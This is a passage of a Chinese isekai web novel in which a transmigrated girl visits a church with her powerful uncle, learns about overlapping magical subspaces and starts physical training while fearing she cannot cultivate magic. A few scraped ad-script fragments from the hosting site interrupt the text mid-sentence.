精神恍惚间,林瑶竟错以为自己不过是跟朋友一起去隔壁城市旅游,瞧见有趣的事物便拿手机拍下来留作纪念,什么献祭啊穿越啊根本不存在,又不是动漫。 可是匆匆飞过身侧的小妖精扇动蝶翼的细响是如此清晰,清晰到她头脑从来没有那么冷静过。 “怎么?”林溪晗察觉出对方的异样,眼底流露出关切,“累了吗?要不要休息一会?” “没有。”她摇摇头,收拾好情绪故作正常,“快点走吧舅舅,不然要赶不上做礼拜了。” “没关系。”见女孩那么努力地掩饰自己的样子,林溪晗相当配合地转移话题,态度却很轻松随意,“反正我们早就已经迟到了。” 林瑶:“……” ——那你为什么还能这么淡定啊?!亏我以为你们全家都是特别虔诚的信徒呢! 林溪晗看懂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了她略微扭曲的神情,笑着解释:“祈祷或做礼拜都不过是表达形式的一种,只要我们保持对主的谦恭敬爱,永不背叛祂就行。” 明白明白,酒肉穿肠过,佛祖心中留嘛。 “所以不必担心,主不会怪罪我们。”温文尔雅的黑发青年柔声安抚,又向她伸出手摊开了掌心示意,“假如你实在不安,我们也可以现在过去,应该能赶上唱诗班的歌颂。” ——来了来了!是小说里的传送魔法! 生在21世纪没见过啥好东西的地球傻妞勉强压抑住过于强烈的期待,为了不丢面,硬是装出一副矜持自然的淑女模样,学着那些明星优雅地把手搭上去。 林溪晗反手握紧了她,下一秒,林瑶只感觉眼前一花,周围环境就发生了巨大改变。 人来人往的马路被古朴肃穆的罗马式教堂取代,空灵神圣的歌谣将嘈杂喧闹的叫卖声阻挡在门外,一排排木制长椅上坐着埋头祈祷的信徒,金色阳光透过绘有华丽图案的彩色玻璃,轻柔地照亮屹立于中央最前方的十字架。 身穿教袍的老主教沐浴在温暖的春风中,手拿《圣典》一脸慈祥地注视主最喜爱的白羔羊。 精致可爱的唱诗班儿童站在十字架前,面对底下沉默的信徒,他们十指相交置于胸前,脸上洋溢着竟能为主歌唱、由衷感到幸福的笑容,用优美动听的嗓音,恭敬虔诚地高声赞颂神灵。 “主,全知全能的主,至高无上的主啊! 您是太阳,睁眼即是灿烂白昼; 您是月亮,闭眼即是宁静夜晚。 您是那漫天的星辰, 岸边的灯塔, 指引我们前行的道路。 主啊,主啊! 您驾着方舟自星海的另一端驶来, 手握天秤与利剑, 结束了远古众神荒诞无垠的统治, 结束了混乱无序的旧时代, 给予愚民永恒的自由。 主啊,我们伟大、仁慈的至高之神啊! 您是宇宙一切概念的集合体, 是万物运行的规律, 是智慧之树, 是培育众人的肥沃土壤, 您是一,也是万。 主啊! 我们真诚地祝愿您, 祝愿您能够获得世间真正的快乐与幸福。” …… 望着眼前恢宏的场面,林瑶受其氛围感染,短暂地失去了语言功能,直到身边人小声提醒,她才慢慢回过神安静地跟着对方找了个空位坐下。 可奇怪的是,对于凭空出现并且算得上是扰乱现场秩序的他俩,四周竟无人发表意见,甚至连余光都没有投过来,仿佛他们只是一团空气,又或者……根本就没人发现他们闯进了教堂内部。 “舅舅”……说不定比她想象的还要厉害。 摆着碇司令的姿势思考问题的林瑶,忽然感觉有一股视线落到了自己身上。 轻飘飘的,不含一丝重量。 “……”下意识地捏紧身旁男人的手,她缓慢地抬起脑袋,谨慎转动几圈,抿紧嘴唇,试图从一堆黑衣信徒中找出目光的主人。 林瑶很快就找到了目标——是个坐在自己左前侧的小女孩。 在一群身穿教袍、正低着头闭眼祈祷的成年人中,娇小可爱、扎着两条麻花辫、穿了件白色绣花连衣裙的她格外显眼。 注意到林瑶疑惑不解的表情,小女孩向她弯起一双漂亮的月牙眸,然后张开嘴,无声地比了几个口型。 “好、久、不、见。” 她的膝盖边,站着一只洁白的信鸽。 5. 熟人 恩?好久不见? 林瑶一惊,还以为是遇见了原主的熟人,正准备慌张起来绞尽脑汁地思考该如何应付,坐在旁边一直不出声的黑发青年忽然动了一下。 林溪晗像是要安慰少女般轻轻拍了拍她紧紧抓着自己不放的手,直到对方稍微放松一点了才转过视线,神色平静地向那个穿连衣裙的奇怪小女孩点头。 林瑶顿时恍然大悟。 哦哦,原来不是“她”的熟人,是舅舅的熟人,对方那句“好久不见”其实也不是对自己讲的,而是对舅舅讲的——这就很nice!(竖大拇指) 收到回应,女孩又弯了弯眼眸,这才扭过头,重新认真地听最前方的老主教布道。 “那位……是舅舅你的朋友吗?”怕声音太大会被对方听见,林瑶凑近了身边人,悄咪咪地询问。 “不,是我的同事。”林溪晗相当配合地往她那边低头,轻声回答,“算是我的副手吧,这次为了方便处理工作才跟着我一起来贝克斯,你总共只见过她几次所以印象可能不深。” “罗丽娅是位能力非常优秀的侏儒族女士,你可千万不要对人家失礼哦。”他委婉提醒。 懂了,异界版天山童姥。 林瑶表示明白,挺直腰板十分严肃地点了点头。 然后她就发现舅舅的表情变得有些微妙。 可对方很快就掩饰了过去,甚至笑吟吟地抬手摸了摸她头顶,注视她的眼神几乎充满了年老者对家族里最小最受宠的晚辈的纵容和慈爱。 看得林瑶条件反射就想喊出一声“太奶奶”。 “……”林溪晗突然沉默。 少女没发觉成年人隐藏于沉默之下的复杂情绪,她忙着偷瞄那位背对着他们正十指相交低头祈祷的舅舅的得力干将,对只在魔幻小说里看到过的侏儒族倍感好奇。 然而没等她观察完,一只白白嫩嫩的小手就忽然伸到了自己面前,掌心上托着两颗草莓味的水果糖。 “姐姐,姐姐。”属于小孩子的稚嫩软糯的嗓音在耳边响起,因害怕吵到别人还特意压低了音量,懂事又可爱,“你是不是也饿肚肚啦?没关系!我的糖糖可以分给你!” 呜哇!这是哪里来的天使啊?! 林瑶瞬间就被治愈了,眼里流露出笑意,刚想转头向一旁的小男孩道谢,却蓦然撞上头发花白的老婆婆投来的视线。 怀内抱着菜篮子的奶奶慢慢咧开嘴状似友好地对她笑了笑,露出里面已经烂掉好几颗的黄黑牙齿,摊开的手心上静静躺着两颗干瘪的果子。 “是要果吗?乖娃儿。” 沙哑的,苍老的,皱巴巴的干枯手掌,仿佛被卸掉了零件的机器,坏得几近报废的声带,缩水佝偻的身体藏进漆黑的长袍,戴着宽大的兜帽,不禁让人联想到活动于黑夜中的恐怖女巫。 林瑶的脑袋一下子就空白了。 “……”不等大脑反应过来理解这种异常的状况,她的嘴巴已经本能地张开回复,“不用了,谢谢。” 于是婆婆再次对她笑了笑,笑完又转动着那对浑浊无神的眼珠子望向前方,不再关注身旁略显奇怪的少女。 林瑶也赶紧收回目光,越发挺直腰板,摆正态度仔细听讲学做好信徒,只是…… 或许是天气太热的缘故,加之教堂无冷气,背后的汗水不知何时打湿了薄衣衫,严重的黏湿感令她难受无比,却不敢抬手去擦。 主就不能体谅体谅祂的信徒,下份神谕让人在教堂装空调吗?今天真的很热欸! 林瑶于内心默默吐槽,借此转移注意力,不去深思刚刚发生的异样。 无意间瞥见外甥女略带铁青的脸色,林溪晗皱了皱眉,微微侧身低声询问:“怎么啦?小瑶。” 她疯狂摇头:“没有没有,我没事!舅舅你不用担心!”不能给舅舅添麻烦! 林溪晗显然不相信,眉头皱得更紧了,但看对方如此顽固坚持的样子也没办法,只好叹着气,拍了拍她后脑勺无声安慰,余光却扫过女孩右侧的位置,眼底的神色忽然冷淡。 …… 直至教堂礼拜走完最后一个流程,男人简单整理下衣服站起身,先向蹦蹦跳跳、特别开心地靠过来准备跟他们会合的同事递去一个眼神让她稍等一会,这才牵着外甥女纤细的小手逆着人群往笑眯眯等在台上的主教走去。 “嘿,溪晗,我的老朋友,你还记得我们有多久没见面了?十年!这十年来你居然一次都没有想过要回来看望我,噢~主见证,你的冷漠伤透了我的心!” 这位留着白色长胡须,身穿教袍,瞧着大概有七十多岁的亲切和蔼的老爷爷操着一口纯正流利的翻译腔,上前张开双臂,非常热情地想给许久不见的好朋友一个大大的拥抱,可惜却被敏捷地避开了。 “洛克。”林溪晗万般无奈地开口制止对方过于热情的举动,又指了指自己身侧的少女,“冷静,要是吓到我们家小瑶怎么办?你赔得起吗?” 是啊,尊敬的阁下,如果您再用那种翻译腔讲话,我发誓,一定会向教会申请精神伤害赔偿的。 林瑶很是赞同地在心底点头。 “唉,你还是这么护犊子。”见两人都那么抗拒自己的亲近,洛克主教只能遗憾地收回张开的双臂,将视线投向站他旁边一直沉默不语、性格似乎有些腼腆文静的小淑女,微笑,“小瑶?” “是的。”林瑶两手交叠置于身前,主动乖巧地跟长辈打招呼,“我叫林瑶,主教大人好。” “好~好~”洛克主教捋了捋胡须笑呵呵地夸奖,“你可比你舅舅有礼貌多了,懂得尊重老人家。” “不错不错。” 林瑶不敢接话,林溪晗反而无奈地瞧了他一眼,没好气道:“说说,我有哪里没尊重你了?” “这不是很明显吗?”光是调侃还不够,他甚至故意弯腰朝林瑶眨眨眼,仿佛被这个朋友气到了就跑去找另一个朋友给自己主持正义般小小声道,“看吧,他是不是凶巴巴的?” 林瑶控制不住地笑出声来。 好可爱的爷爷! “哦对,碰见你太开心我都差点忘记问了。”简单聊几句后洛克主教又直起身子,面露疑惑,“你怎么突然过来了?需要帮助?” “对,我想请你帮个小忙。”林溪晗解释,“昨天使者停留在我们家的窗台上把小瑶吓坏了,她很担心是不是自己有哪里做错了,所以今天我们才过来这一趟问问你原因,以求安心。” “原来如此。”洛克主教点点头,捋着胡子,露出慈祥的笑容,温声安抚显然有点紧张的小姑娘,让她不用害怕,“使者的职责是替主巡视人间,监控那些常常制造恐怖袭击的该死可恨的异端,决不会伤害诬赖任何一个虔诚侍主的无辜信徒。” “不过祂们工作久了也会想停下来休息一会,就跟我们一样。”他又调皮地朝她眨眨眼,“谁都有想找个角落偷懒摸鱼的时候嘛,对吧?” “……”林瑶没有马上回话,静默良久,回忆起阳台上的那根黑色羽毛,始终无法安心。 犹豫再三,她还是鼓足了勇气试探地问:“那……如果有信徒被蛊惑了误入歧途呢?” “主会原谅他吗?” 洛克主教十分惊讶她会问出这个问题,但并没有怀疑对方,依旧是那副宽容的模样。 只是他的回答处处透着一股说不清道不明的古怪。 “噢,不必担忧,我亲爱的孩子,只要你诚心悔过回到正途,愿意戴罪立功,那么有朝一日教宗大人定会宽恕你曾经犯下的错。” 说着说着,他忽然在胸前划了个十字,发自内心地真诚祈祷。 “愿我们永不犯错。” ……有朝一日、永不犯错?听上去那位教宗大人超级恐怖啊,该不会是暴君吧?这叫我怎么不担心嘛。 林瑶暗自吐槽。 而且,为什么是由教宗宽恕呢? 似乎读懂了少女的困惑,林溪晗低声为她解答。 “主与教宗是一体的,祂们互为半身,主的意志即为教宗的意愿。” “教宗是主在人间的代行者。” ——教宗宽恕了你,就代表主宽恕了你。 ……哈?什么狗屁逻辑?这不就是教会专门糊弄平民百姓搞出来的一套吗? 碍于自己目前正处于教堂内部,当着主教的面,林瑶轻咬下唇,不敢大声bb只敢在心底偷偷bb. 林溪晗安慰似的拍拍她脑袋,随即扭头望向对面的老朋友:“既然疑惑已解开,那我们就先告辞了。” “这么快?”难得与旧友重逢,待会还想约着一起出去喝一杯,结果惨遭抛弃,洛克主教不由叹息,“过河拆桥,我的朋友,你真是一如既往的冷酷无情。” “对你是需要冷酷一点。”他笑着伸拳过去捶了下对方肩膀,“改天再约吧。” “OKOK,都听咱们大忙人的。”老爷爷耸耸肩。 林溪晗朝他点点头,告别完便带着外甥女融进人群一起离开了教堂。 也就是这个时候林瑶才发觉哪里不太对劲。 ——人,太多了。 明明教堂的面积看起来不算大,能容纳数十排座椅就已经是极限了,可当事情结束,涌出大门的信徒却是源源不断,一眼望不到尽头,仿佛全城的市民都集中在这里了! 真是不可思议…… “亚空间。”身旁骤然响起的清脆甜美的声音打断了她的思绪。 林瑶条件反射地低下脑袋——之前被“舅舅”用眼神支走的罗丽娅竟悄无声息地站在了自己左手边,正仰着一张可爱的小脸对她笑,表现得相当友善。 她先是惊了一下又很快淡定,毕竟以自己堪称负数的战力值来说,在这个世界恐怕连只蟑螂都打不过,紧张也没用,就是感到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好奇。 “亚空间?”林瑶想起曾经读过的各种奇幻作品里的魔法设定,“意思是……教堂的规则与外界不相同,内部自成一个小空间,足以容纳整座城市的人?” 那建造教堂的设计师就厉害了。 “但我进去时没觉得里面有多少人啊,出来才……难道大家都被隔开了?” “是哦,教堂内有多个独立的亚空间,所有人一进去就会按区域被分配到不同房间,不过为了大家都能直面主的光辉并聆听教诲,建筑师就将这些亚空间重合到一起。” ??? 林瑶感觉自己把问号键都扣烂了仍旧不理解对方的意思。 对不起,这道题她在任何小说里都没见过! 看少女满脸懵逼,一副“我是谁我在哪你在说什么东西”的迷茫样,罗丽娅认真思考了一会,伸手指着教堂耐心解释。 “就是说,同一个位置坐的可能是男性也可能是女性、可能是上班族也可能是流浪汉,只是碍于所处空间不同你们无法触碰彼此而已。” 察觉林瑶还是听得半懂半不懂的,林溪晗便加入这场教学,温柔地引导对方。 “刚才在我们做礼拜的时候,小瑶你还记得右边的位置坐着谁吗?” 来到新环境,林瑶本就习惯地去观察四周,更何况之前还发生了那种明显不能深究的异常,自然能回答出这个问题:“是位老婆婆。” “我家小瑶真棒。”黑发青年先是像夸小孩子学会吃饭一样夸了她一句才笑着继续,“然而在我眼中,你旁边却不止坐着老婆婆,还坐着一位头顶簪花的美丽夫人、穿着西装佩戴手表的中年男士、偷偷吃糖果不敢吱声的小男孩,等等等等。” 她终于明白了对方的意思,整张脸立马就绿了。 “啊这……”这未免也太恐怖了吧?! “放心吧,主教会施法蒙蔽你们的眼睛,否则你将看见自己的身体里坐着无数人,对于普通信徒来说会很容易疯掉的。”罗丽娅随口接上最后一段,作为这次临时开展的现场教学的结束语。 谢谢,我也要疯了。 林瑶一想到有那么多人坐在自己体内自己却毫不知情,又想起老奶奶与小男孩融合问出的那句话,浑身的鸡皮疙瘩就止不住地冒出来,san值狂掉,抿着嘴,满心的抗拒不禁带到了脸上。 “别怕别怕。”林溪晗连忙安抚表情略微扭曲的外甥女,“舅舅自然不可能让别人跟你坐在同一个位置的,先前一进教堂我就立刻造了新空间隔开,保证不会跟其他亚空间相重合。” “至于你看到的……对不起,按理来说,你应该是突破不了洛克的法术发现真相的,不过可能是我新造空间时泄露的力量波动与其相撞才导致遮蔽法术短暂失效……是舅舅不好。”三言两语解释完,儒雅青年忍不住露出愧疚的神情,诚恳道歉。 “没关系的啦,这也不是舅舅的错。”少女摇了摇头表示无需介意,等情绪缓和得差不多了,想想又好奇地问,“还能单独建立一个新空间吗?” “嗯哼。”罗丽娅把手背到身后,笑眯眯地盯着她,“如果你足够强大。反正教宗祂老人家也没有明令禁止这种事,那自然是怎么舒服就怎么来啊,谁会喜欢跟别人挤?不嫌膈应?” “这样干的家伙其实挺多的,不止老板一个啦,所以你用不着担心。” “老板?”林瑶下意识望向站在自己左侧的黑发青年,细细打量一阵,不曾想对方瞧着彬彬有礼、手无缚鸡之力的,居然是个霸道总裁,粗大腿耶! “给我们发工资的不是老板是谁?”罗丽娅讲到这里跟着转头看向自己的顶头上司,趁着对方现在心情好赶紧以开玩笑的形式提出,“所以老板你还记得我们有多久没加工资了吗?我穷得连泡面都快吃不起了!” 林溪晗瞥了她一眼:“要是你上次没把客户打进医院的话,我会考虑。” “哈哈。”闻言,罗丽娅不禁讪笑,可很快就低下头一脸不平地嘟哝,“那还不是他先嘲笑我矮……” 林溪晗懒得理她,转身面对自己外甥女时却又换上了另外一副面孔,语气极尽温和:“饿了吗?我们去吃饭吧?” “呃……”林瑶顿时面露迟疑地瞄了瞄舅舅的可怜副手,不确定要不要邀请对方一起用午餐,总觉得就这么抛下别人不太好。 不过考虑到出钱的是舅舅不是她,她便安静地闭嘴了。 林溪晗见状,在心里不由感慨外甥女的善良,然后就微笑着替下属的肚子做出了判断:“其实罗丽娅不饿。我们先吃,别打扰她工作。” “她来这里可不是为了休假的。” 林瑶:“……” ——没想到舅舅你个浓眉大眼的竟然也学黑心资本家那套! 罗丽娅:“……” ——玛德狗上司不做人!我咒你今天中午吃出一条大青虫!还是剧毒的! 6. 决心 最后还是林瑶实在不忍心看一个可怜巴巴的小女孩连午休都要被迫加班,虽然不能代替舅舅邀请人家跟他们一起用午餐,但最起码不能饿着肚子干活吧! “呃……我觉得吃顿饭也就花十几分钟的时间,应该耽误不了多少工作吧。”她莫名感到心虚,偷偷瞄了眼便宜舅舅的表情,可惜察言观色的功夫不到家啥都看不出来。 “舅舅你觉得呢?” 尽管自己只是一名高中生,暂时不用担心工作上的问题,但总有一天她也会从学校毕业成为一个同样饱受黑心资本家压迫的卑微社畜,此刻瞧着罗丽娅女士如此憔悴可怜的样子不禁提前几年感同身受。 更何况对方刚刚还给自己上了一堂课,虽说自己压根听不懂。 没想到向来冷酷无情的老板居然会有位这么善解人意的好亲戚,罗丽娅对此非常感动,感动得连忙从手镯里取出了一沓教材送给少女。 “我看小瑶你空间法术的基本原理学得好像不太好,这些课本和笔记都是我以前上学时用的,现在就送给你当见面礼吧!” 林瑶:“……真是谢谢你啊,罗丽娅小姐。” ——可恶!为啥感觉自己被报复了?但我又确实需要补常识!所以可以的话请你再多送几本其它科目的吧!拜托了!好人罗丽娅小姐! 林溪晗相当满意下属送的这份礼物,于是把头一点,大发慈悲地允许对方先吃午饭再加班。 然后他就转身从可爱外甥女的手中接过那堆书本帮忙放进储物戒指,对她温柔地笑了笑:“如果小瑶你需要,舅舅也留有很多当年的试卷,回去我就找出来给你,光掌握理论是不行的哦。” 林瑶……出于高中牲的本能,控制不住地戴上了痛苦面具,可又不得不接受对方的这份深沉“舅爱”,艰难地扯动嘴角露出一副“开心”的笑容,被迫真诚地表示感谢。 ……呜呜呜,我爱学习学习好好,噜啦噜啦嘞…… 暗暗为自己哭嚎了一会,林瑶深吸一口气,拍拍脸颊勉强打起精神,扭头看向身旁搞不懂是在笑什么的小女孩:“罗丽娅小姐中午打算吃什么呢?” “我嘛,其实等工作结束再吃也行,毕竟分给我的活不算多,很快就能完成。”这位侏儒族的女士说到一半抬起手,一只洁白无瑕的灵鸽便扑腾着翅膀从远处飞来轻巧地落在她的指尖上。 伸出的另一只手轻轻抚摸着白鸽柔软的羽毛,罗丽娅弯眸对她笑了笑,不等林瑶反应过来,又将视线转移到林溪晗身上,语气格外轻快:“那老板我就先出发啦,等完事我能直接回帝都吗?” 林溪晗点头:“可以,我估计还要在贝克斯待两个星期,客户那边你解释几句。” 对方比了个OK的手势,又跟林瑶挥手道别才蹦蹦跳跳地离开,没多久那娇小的背影就彻底消失在了两人的视野中。 林溪晗收回远眺的目光,转过头,微笑着向身边一直不敢出声打扰他们交谈的少女伸出手:“那我们也出发吧?” ***** 异界版一键换地图,出门方便又放心,你,值得拥有。 瞧着周围树立的一块块招牌,上一秒还在教堂门口下一秒就出现在商业街中心的林瑶不禁心生感慨。 好想要这种技能啊,这样以后上课不就可以在宿舍多睡几分钟了? “螺蛳粉要微辣,再加一份叉烧和青菜。”领着人走进一家螺蛳粉店,扫了眼墙上的菜单,林溪晗点完餐后侧身望向林瑶,“小瑶你吃什么?” “不用给舅舅省钱,随便点。” 林瑶回过神,观察了一下异世界的菜单,发现跟自己老家挂出来的差不多才敢放心,向前台服务员提要求的语气也不免透出一股熟稔:“我要素粉加一份青菜,微辣不要木耳。” “不要一瓶饮料吗?”注意到餐厅里的小孩子多数都有果汁喝,担心外甥女也想喝却为了不让自己破费而选择沉默的林溪晗追问道。 “不,真的不用,舅舅。”林瑶都无奈了,赶紧结束这个话题免得对方又提出给自己买东西。 “好的,总共25元,扫码还是现金?”对方飞快操作电脑,下完单把一块写有数字的号码牌连着账单一起递过去。 “优惠劵能用吗?”拿出手机,大拇指在屏幕上连续点击,林溪晗一边翻页面一边问。 “可以。” 于是林瑶就站在一旁眯着眼看舅舅熟练地打开支X宝扫码付钱,心里的吐槽多得都快憋不住了。 她甚至忍不住散发脑洞。 那位厉害的穿越者前辈该不会是二马吧?咋?打算让全宇宙都贴满企鹅的标志? 属实离谱过头了。 然而林溪晗打量着外甥女那副一言难尽的微妙表情,误会了,以为她也想要台手机,想笑又不好笑,只能微笑着安慰:“没事,等吃完饭舅舅带你去买。” “虽然学校规定不能带手机……可我仔细想了想,到帝都后小瑶你确实需要一台手机方便联络,免得你遇见麻烦时联系不上人。”他瞧着一脸懵懂、仿佛还没搞清目前啥情况的少女,不由心生怜爱,抬手摸摸她毛茸茸的小脑袋瓜,声音变得越发温柔。 “而且刚刚在店门口的时候,我发觉小瑶你好像很喜欢瞬移法术,这样吧,等回家舅舅送你几套相关的魔法卷轴和法器,以后你想去哪玩就去哪玩,方便又省事。” “或者我送你一艘飞船?还是你更喜欢坐骑?” “哇——谢谢舅舅!”没想到会天降一份礼物的林瑶顿觉惊喜,却也不忘乖乖向对方道谢,表现得特别有礼貌。 啧啧啧,有个总裁当后盾就是不得了啊。 她在心里美滋滋的同时又情不自禁地生出几分庆幸与复杂,庆幸自己刚来到异世界遇见的引路人就是原主的舅舅,直接少走十几年弯路。 而复杂…… 不说假的,要是没有林溪晗,她到现在都不敢踏出房屋半步(至少没这么迅速),更别说在短短两天时间内进教堂见主教并与之交谈得到那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么多有效的信息了——在事发东窗前,对方就是她勇于外出探索却不惧怕危险的底气。 她知道,自己穿越者的身份瞒不了原主的这位亲人多久,可不管是意外还是其它原因,林溪晗肯定不能接受自己侵占他外甥女身体的事实,届时…… 林瑶深呼吸,扬起脑袋望向身旁高大的男人,脸上带着甜甜的笑,以一种连自己都诧异的冷静到极致的心态向他撒娇:“虽说很感谢舅舅,不过比起外物我果然还是更想靠自己的努力掌握呢。” “总不能老是麻烦舅舅吧?况且去了新城市,舅舅要忙着处理工作,不可能天天陪在我身边的,我依然得学会照顾自己。” ——不能依赖任何人。 林瑶挂着笑容,平和寻常的口吻跟每一次同亲人在家聊闲话时无异。 ——在这个陌生无比的异世界,能保护我的,永远只有我自己。 但在话音落下的瞬间,林瑶却清楚地望见林溪晗眼中不加掩饰的愕然,似乎她说出的这番话有哪里让他十分惊讶。 糟糕! 林瑶立刻紧张起来,怀疑自己是不是讲错话露了马脚让对方发现异常了。 正当她心脏慌得砰砰乱跳,准备开几句玩笑试图糊弄过去的时候,林溪晗收回了那股明显的惊讶,并没有表示疑惑,注视她的眼神反倒流露出一丝忧愁——尽管他掩饰得很快却依旧被林瑶敏锐地捕捉到了。 这又是咋啦? 林瑶一下子就懵了,丈二和尚摸不着头脑。 怎么说呢……她其实搞不太懂这位总把原主当作温室里不能吹风淋雨的柔弱花朵看的三好舅舅的神奇脑回路。 拜托,能坦然说出“献祭”的原主真不是什么脆弱的花瓶啊,“舅舅”!关一下你对外甥女的滤镜吧! “好。”不知道自家乖小孩正猛烈吐槽自己的林溪晗温声回应少女难得的决心,“既然如此,那小瑶从明天起就跟我一起晨练吧。” “明早六点起床,我们先绕着中心公园跑三十公里,再连续挥铁剑五万下……”余光瞥见外甥女骤然发白的糟糕脸色,林溪晗立即想起对方并不是自己那帮丢进死亡森林都能平安无事甚至反向踏平妖怪部落的糙小子,赶紧改口,“不,不用五万,就五千……五百……五十……五……” NO——不要啊舅舅!你这么为我考虑只会显得我很废物!就算是真的我心里也会感觉超级难过的!会觉得自己失去了什么特别宝贵的东西呀! 瞧着对方为了自己小心翼翼地不断降低要求,她不由得在内心抱着头崩溃呐喊。 “……舅舅,要不我先从五十开始,等之后习惯了这种强度的训练再慢慢增加如何?”总不能一上来就问阎王爷要我的命吧? 体育考试跑八百米从来都是勉强及格还差点跑断气、每回放假必睡到中午才起、散步都懒得散、爬个楼梯都大喘气的真·废物林瑶,低下脑袋默默地捂住了满脸的痛苦及扭曲。 ——救命!我真的好想回家! 7. 错漏 背着皮卡丘背包,迈着轻快的脚步,哼着不成调的小曲,刚与舅舅分别从公园回来的林瑶,漂亮的脸蛋上还带着剧烈运动后的绯红,开开心心地与小区门口的保安大爷道早安。 “早上好~刘叔。” “早啊,小瑶。”头发花白、身穿制服、坐在保安亭里看报纸的刘叔放下手中的报纸,嘴里叼着一根大烟斗,笑呵呵地跟这个每次出入都会向自己问好的礼貌乖巧的小姑娘打招呼,“锻炼回来了?” “对滴~”经过多天训练,气色肉眼可见地变好起来的林瑶眼眸弯弯,一想到自己成为强者的未来就止不住地高兴,求夸奖似的向老人昂首挺胸,“你知道吗,刘叔?我今天突破了昨天的记录哦!舅舅都夸我有天赋呢!” “哎呀,厉害厉害!”刘叔果然非常配合地给骄傲的小女孩鼓掌,笑着赞美道,“小瑶好样的!就是要有这种精神才行!我家那个懒虫要有你一半勤快也不至于胖得像头猪了,愁得我哟……” “不不不,没有这回事啦。”收到长辈的大力夸赞,她嘿嘿傻笑两声,不好意思地抓了抓后脑勺,谦虚道,“主要是舅舅的功劳,要不是他每天都跑来家里喊我起床,我早就坚持不下去了。” “嗐,你这孩子,有啥好谦虚的?如果你真不愿意你舅能逼你?”老人家随意地摆摆手,“叔说的都是实话,也是真感慨。” “要知道自从魔法卷轴能够量产以后还愿意强身健体学习格斗的年轻人很少很少了,全指望外力,别说去健身房了,平时叫他们饭后散个步都难于上青天,各个柔弱得连我都能一腿横扫一片,偏偏非要跟我吵,说什么年代不一样的鬼话,快把我气死。” 他叹着气,难得碰见一个肯和自己唠嗑的小辈就忍不住多啰嗦了几句。 “唉,这可不行啊,要是倒霉遇上异端,等丢完了卷轴,裁判所的人又没赶到,逃跑的时候跑得跟乌龟一样慢岂不是坐着等死?” “我们哪可能斗得赢那群怪物?现在的孩子是被教会保护得太好啦,普遍没有危机意识,以为买几个卷轴就足够应付意外了,以为生病被诅咒去教会找神官就行了,几乎没人想过增强自己的体魄,我们当年要是也抱着这种想法早就死在异端的手下了。” 刘叔拿下烟斗一脸语重心长地叮嘱:“所以小瑶啊,你一定要坚持,这样等灾难来临时你至少还有一丝逃跑成功的可能性。” “听叔的,叔能害你吗?我可是过来人。” “……”林瑶听完略微蹙眉,总感觉刘叔的这番话里有哪里不太对劲,就好像对方把她当成了他的同类再跟某种群体分割开,而他们显然处于弱势,遇见所谓的“怪物”就毫无还手之力,只能祈求主保佑,等待教会救援。 但是很奇怪呀,大家明明都懂魔法,即使每一个异端都强大无比,也不至于呈现出这种仿佛一边倒的诡异现象吧?还是能反抗一点点的吧? 而且他对年轻人的描述也很奇怪,什么叫做靠外力护身?这里的修真者是用“强身健体”、“学习格斗防身”这种字眼来描述修炼的吗?怎么跟她想象的不太一样呢? 林瑶满头雾水,琢磨来琢磨去都没找出一个合适的理由。 不过她并未将这股疑惑表现出来,只是微笑着感谢完老人的关心就掂了掂背包转身回家了。 *** 掏钥匙打开家门,少女换完拖鞋随手把包扔到沙发上,先回房间取了睡衣,准备洗个热水澡冲掉满身的臭汗,好舒舒服服地躺在床上安心享受柔软被枕的抚慰。 虽然林溪晗降低要求说每日绕着公园跑三公里再挥铁剑五十下即可,但实际上林瑶只跑了七百米,提着十几斤重的铁剑勉强挥动两下就被/干趴了。 她就像一条被太阳晒脱水的干巴巴咸鱼,休息很久很久才堪堪充够一半的电,到第二天肌肉酸痛得直接抽筋报废,抬都抬不起来,压根做不了剧烈运动。 林溪晗自责得给她扔了个治愈法术,又准时准点出现在外甥女家里继续喊她起床,一旦她表现出劳累或支撑不住的样子就施法回复体力,直到完成今日份的训练为止,特别严厉,完全找不出平时疼爱外甥女的痕迹。 ——恶魔!他简直就是一个可怕的恶魔! 不过在坚持锻炼俩星期后,林瑶已经能够气不喘地跑完三千米、挥剑十五下,进步显著——当然也有舅舅每晚炼制的那堆丹药的功劳。 “嘿嘿,说不定我以后还能做个剑修呢。”幻想着自己拿把剑就开始大杀四方的威风场面,刚洗完澡出来的林瑶趴在软绵绵的床上,中二病大爆发,莫名有点害羞地将脸埋进枕头,宛如海里一根随波摇晃的海草几乎扭成一团。 她想起那群骑着扫帚满街乱窜的调皮魔法师,又想起自己在公园偶然撞见的他们随手施展法术时脸上显露的一抹漫不经心,不由生出羡慕,盼望着自己哪天也能变得如此强大。 嗐,谁以前看电视剧的时候没幻想过自己也是以拯救苍生为己任的厉害神仙呢? 不想成仙的小朋友才是异端!哼! “恩?但这些天下来就只是单纯的运动啊,舅舅不教我修炼吗?光是跑步挥剑没法增加魔力的吧?”忽然察觉异常的林瑶抱紧了枕头,扬起脑袋露出半张脸小声嘟哝几句,很是不解。 不对呀,那些网文不都讲主角要是穿越了会在随身老爷爷的指导下吸收天地精华让真气在体内运转之类的东西嘛,怎么轮到她就只有跑步没有修炼呢?她也不缺老爷爷啊。 “莫非我要先打好基础才能进行下一步?”她挠挠脸颊,咋感觉怪怪的? 因为……不是说主角都有灵根的吗?再不济也是废材五灵根,身体还能自主吸收能量啥的,可她别谈吸收能量运转真气了,待在这里的两个星期她连条毛毛都没感应到,丹田处空空如也毫无变化,跟自己在地球上的生活一模一样…… 等等,原主该不会是个没法修炼的普通人吧? 不、不可能的,能轻易说出“献祭”的家伙怎么可能是普通人?肯定是她太没用了才感应不到的,再努努力就行了! 对……只要努力就可以了。 少女讪笑着摆摆手,疯狂否定脑海中那个突然冒出来的想法,拼了命地找借口,哪怕要骂自身无能。 可是从内心深处蔓延开的那股恐惧是如此真实,真实得她根本无法自欺欺人地忽略过去,指尖微微颤抖着,又猛地抓紧枕头,掐得枕巾起皱。 林瑶深呼吸,慢慢坐起身,强迫自己冷静。 她下床,趿拉着拖鞋走向书桌拉开抽屉把所有课本都拿出来,一边翻页看上面写满的笔记一边重新梳理之前在教堂门口林溪晗和罗丽娅说过的话。 罗丽娅女士把曾经上学时使用的有关空间法术基础原理的教材送给了自己。 